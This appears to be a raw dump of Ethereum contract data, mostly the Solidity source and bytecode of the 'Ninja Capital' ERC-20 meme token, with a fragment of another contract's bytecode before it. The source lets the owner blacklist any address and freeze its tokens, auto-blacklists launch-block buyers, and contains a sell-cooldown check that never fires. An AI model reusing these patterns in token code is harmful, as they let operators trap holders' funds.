ff1673ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610871611206565b73ffffffffffffffffffffffffffffffffffffffff16141561089257600080fd5b6108a78160065461136d90919063ffffffff16565b60068190555061090681600260006108bd611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b60026000610912611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610958611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600654905090565b60006109d78484846113f5565b610a7e846109e3611206565b610a7985600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a30611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b61120e565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b610aa8611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bfe611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e175780601f10610dec57610100808354040283529160200191610e17565b820191906000526020600020905b815481529060010190602001808311610dfa57829003601f168201915b5050505050905090565b610e29611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610f42610f3b611206565b84846113f5565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000808284019050838110156113eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561146957600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115145750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561152857600754811061152757600080fd5b5b61157a81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160f81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60006116fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212202d822597a01e38a31f7919f0ab3be5aecfaa8a54a191b654191647ce737b26e164736f6c63430006090033
{"success": true, "error": null, "results": {}}
4,878
0xf7d0b27ceaad3df7ad0b88e8d1791926edafb75b
/* /$$ /$$ /$$$$$$ /$$ /$$ /$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$$ /$$$$$$ /$$ | $$$ | $$|_ $$_/| $$$ | $$ |__ $$ /$$__ $$ /$$__ $$ /$$__ $$| $$__ $$|_ $$_/|__ $$__//$$__ $$| $$ | $$$$| $$ | $$ | $$$$| $$ | $$| $$ \ $$ | $$ \__/| $$ \ $$| $$ \ $$ | $$ | $$ | $$ \ $$| $$ | $$ $$ $$ | $$ | $$ $$ $$ | $$| $$$$$$$$ | $$ | $$$$$$$$| $$$$$$$/ | $$ | $$ | $$$$$$$$| $$ | $$ $$$$ | $$ | $$ $$$$ /$$ | $$| $$__ $$ | $$ | $$__ $$| $$____/ | $$ | $$ | $$__ $$| $$ | $$\ $$$ | $$ | $$\ $$$| $$ | $$| $$ | $$ | $$ $$| $$ | $$| $$ | $$ | $$ | $$ | $$| $$ | $$ \ $$ /$$$$$$| $$ \ $$| $$$$$$/| $$ | $$ | $$$$$$/| $$ | $$| $$ /$$$$$$ | $$ | $$ | $$| $$$$$$$$ |__/ \__/|______/|__/ \__/ \______/ |__/ |__/ \______/ |__/ |__/|__/ |______/ |__/ |__/ |__/|________/ https://t.me/ninjacap https://t.me/ninjacap https://t.me/ninjacap */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract NinjaCAP is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e10 * 10**9; string public constant name = unicode"Ninja Capital"; string public constant symbol = unicode"NINJACAP"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _TaxAdd; address public uniswapV2Pair; uint public _buyFee = 15; uint public _sellFee = 15; uint private _feeRate = 15; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _TaxAdd = TaxAdd; _owned[_msgSender()] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; _isExcludedFromFee[address(0xdead)] = true; emit Transfer(address(0), _msgSender(), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if (block.timestamp == _launchedAt) _isBot[to] = true; require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); if(!cooldown[to].exists) { cooldown[to] = User(0,true); } cooldown[to].buy = block.timestamp; isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } uint burnAmount = contractTokenBalance/5; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _TaxAdd.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 100000000 * 10**9; _maxHeldTokens = 200000000 * 10**9; } function setMaxTxn(uint maxbuy, uint maxheld) external { require(_msgSender() == _TaxAdd); require(maxbuy >= 100000000 * 10**9); require(maxheld >= 200000000 * 10**9); _maxBuyAmount = maxbuy; _maxHeldTokens = maxheld; } function manualswap() external { require(_msgSender() == _TaxAdd); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _TaxAdd); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _TaxAdd); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _TaxAdd); require(buy < 15 && sell < 15 && buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _TaxAdd); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _TaxAdd); _TaxAdd = payable(newAddress); emit TaxAddUpdated(_TaxAdd); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _TaxAdd); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146106c4578063db92dbb6146106db578063dcb0e0ad14610706578063dd62ed3e1461072f578063e8078d941461076c576101f9565b8063a3f4782f1461061e578063a9059cbb14610647578063b515566a14610684578063c3c8cd80146106ad576101f9565b806373f54a11116100dc57806373f54a11146105745780638da5cb5b1461059d57806394b8d8f2146105c857806395d89b41146105f3576101f9565b8063590f897e146104de5780636fc3eaec1461050957806370a0823114610520578063715018a61461055d576101f9565b806327f3a72a116101855780633bbac579116101545780633bbac5791461042257806340b9a54b1461045f57806345596e2e1461048a57806349bd5a5e146104b3576101f9565b806327f3a72a14610378578063313ce567146103a357806331c2d847146103ce57806332d873d8146103f7576101f9565b8063104ce66d116101c1578063104ce66d146102ba57806318160ddd146102e55780631940d0201461031057806323b872dd1461033b576101f9565b80630492f055146101fe57806306fdde0314610229578063095ea7b3146102545780630b78f9c014610291576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b50610213610783565b6040516102209190612b46565b60405180910390f35b34801561023557600080fd5b5061023e610789565b60405161024b9190612bfa565b60405180910390f35b34801561026057600080fd5b5061027b60048036038101906102769190612cba565b6107c2565b6040516102889190612d15565b60405180910390f35b34801561029d57600080fd5b506102b860048036038101906102b39190612d30565b6107e0565b005b3480156102c657600080fd5b506102cf6108c3565b6040516102dc9190612d91565b60405180910390f35b3480156102f157600080fd5b506102fa6108e9565b6040516103079190612b46565b60405180910390f35b34801561031c57600080fd5b506103256108f9565b6040516103329190612b46565b60405180910390f35b34801561034757600080fd5b50610362600480360381019061035d9190612dac565b6108ff565b60405161036f9190612d15565b60405180910390f35b34801561038457600080fd5b5061038d6109bd565b60405161039a9190612b46565b60405180910390f35b3480156103af57600080fd5b506103b86109cd565b6040516103c59190612e1b565b60405180910390f35b3480156103da57600080fd5b506103f560048036038101906103f09190612f7e565b6109d2565b005b34801561040357600080fd5b5061040c610ac8565b6040516104199190612b46565b60405180910390f35b34801561042e57600080fd5b5061044960048036038101906104449190612fc7565b610ace565b6040516104569190612d15565b60405180910390f35b34801561046b57600080fd5b50610474610b24565b6040516104819190612b46565b60405180910390f35b34801561049657600080fd5b506104b160048036038101906104ac9190612ff4565b610b2a565b005b3480156104bf57600080fd5b506104c8610c11565b6040516104d59190613030565b60405180910390f35b3480156104ea57600080fd5b506104f3610c37565b6040516105009190612b46565b60405180910390f35b34801561051557600080fd5b5061051e610c3d565b005b34801561052c57600080fd5b5061054760048036038101906105429190612fc7565b610caf565b6040516105549190612b46565b60405180910390f35b34801561056957600080fd5b50610572610cf8565b005b34801561058057600080fd5b5061059b60048036038101906105969190612fc7565b610e4b565b005b3480156105a957600080fd5b506105b2610f49565b6040516105bf9190613030565b60405180910390f35b3480156105d457600080fd5b506105dd610f72565b6040516105ea9190612d15565b60405180910390f35b3480156105ff57600080fd5b50610608610f85565b6040516106159190612bfa565b60405180910390f35b34801561062a57600080fd5b5061064560048036038101906106409190612d30565b610fbe565b005b34801561065357600080fd5b5061066e60048036038101906106699190612cba565b61105b565b60405161067b9190612d15565b60405180910390f35b34801561069057600080fd5b506106ab60048036038101906106a69190612f7e565b611079565b005b3480156106b957600080fd5b506106c2611289565b005b3480156106d057600080fd5b506106d9611303565b005b3480156106e757600080fd5b506106f061142a565b6040516106fd9190612b46565b60405180910390f35b34801561071257600080fd5b5061072d60048036038101906107289190613077565b61145c565b005b34801561073b57600080fd5b50610756600480360381019061075191906130a4565b611520565b6040516107639190612b46565b60405180910390f35b34801561077857600080fd5b506107816115a7565b005b600d5481565b6040518060400160405280600d81526020017f4e696e6a61204361706974616c0000000000000000000000000000000000000081525081565b60006107d66107cf611a57565b8484611a5f565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610821611a57565b73ffffffffffffffffffffffffffffffffffffffff161461084157600080fd5b600f821080156108515750600f81105b801561085e5750600a5482105b801561086b5750600b5481105b61087457600080fd5b81600a8190555080600b819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1600a54600b546040516108b79291906130e4565b60405180910390a15050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b600e5481565b600061090c848484611c2a565b600082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610958611a57565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461099d919061313c565b90506109b1856109ab611a57565b83611a5f565b60019150509392505050565b60006109c830610caf565b905090565b600981565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a13611a57565b73ffffffffffffffffffffffffffffffffffffffff1614610a3357600080fd5b60005b8151811015610ac457600060056000848481518110610a5857610a57613170565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610abc9061319f565b915050610a36565b5050565b600f5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600a5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b6b611a57565b73ffffffffffffffffffffffffffffffffffffffff1614610b8b57600080fd5b60008111610bce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc590613234565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c54604051610c069190612b46565b60405180910390a150565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c7e611a57565b73ffffffffffffffffffffffffffffffffffffffff1614610c9e57600080fd5b6000479050610cac81612536565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d00611a57565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d84906132a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e8c611a57565b73ffffffffffffffffffffffffffffffffffffffff1614610eac57600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d6600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051610f3e919061331f565b60405180910390a150565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601060029054906101000a900460ff1681565b6040518060400160405280600881526020017f4e494e4a4143415000000000000000000000000000000000000000000000000081525081565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fff611a57565b73ffffffffffffffffffffffffffffffffffffffff161461101f57600080fd5b67016345785d8a000082101561103457600080fd5b6702c68af0bb14000081101561104957600080fd5b81600d8190555080600e819055505050565b600061106f611068611a57565b8484611c2a565b6001905092915050565b611081611a57565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461110e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611105906132a0565b60405180910390fd5b60005b815181101561128557600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061116657611165613170565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156111fa5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106111d9576111d8613170565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156112725760016005600084848151811061121857611217613170565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061127d9061319f565b915050611111565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112ca611a57565b73ffffffffffffffffffffffffffffffffffffffff16146112ea57600080fd5b60006112f530610caf565b9050611300816125a2565b50565b61130b611a57565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f906132a0565b60405180910390fd5b601060009054906101000a900460ff16156113e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113df90613386565b60405180910390fd5b6001601060006101000a81548160ff02191690831515021790555042600f8190555067016345785d8a0000600d819055506702c68af0bb140000600e81905550565b6000611457600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610caf565b905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661149d611a57565b73ffffffffffffffffffffffffffffffffffffffff16146114bd57600080fd5b80601060026101000a81548160ff0219169083151502179055507ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb601060029054906101000a900460ff166040516115159190612d15565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6115af611a57565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461163c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611633906132a0565b60405180910390fd5b601060009054906101000a900460ff161561168c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168390613386565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061171b30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000611a5f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611766573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061178a91906133bb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117f1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061181591906133bb565b6040518363ffffffff1660e01b81526004016118329291906133e8565b6020604051808303816000875af1158015611851573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061187591906133bb565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306118fe30610caf565b600080611909610f49565b426040518863ffffffff1660e01b815260040161192b9695949392919061344c565b60606040518083038185885af1158015611949573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611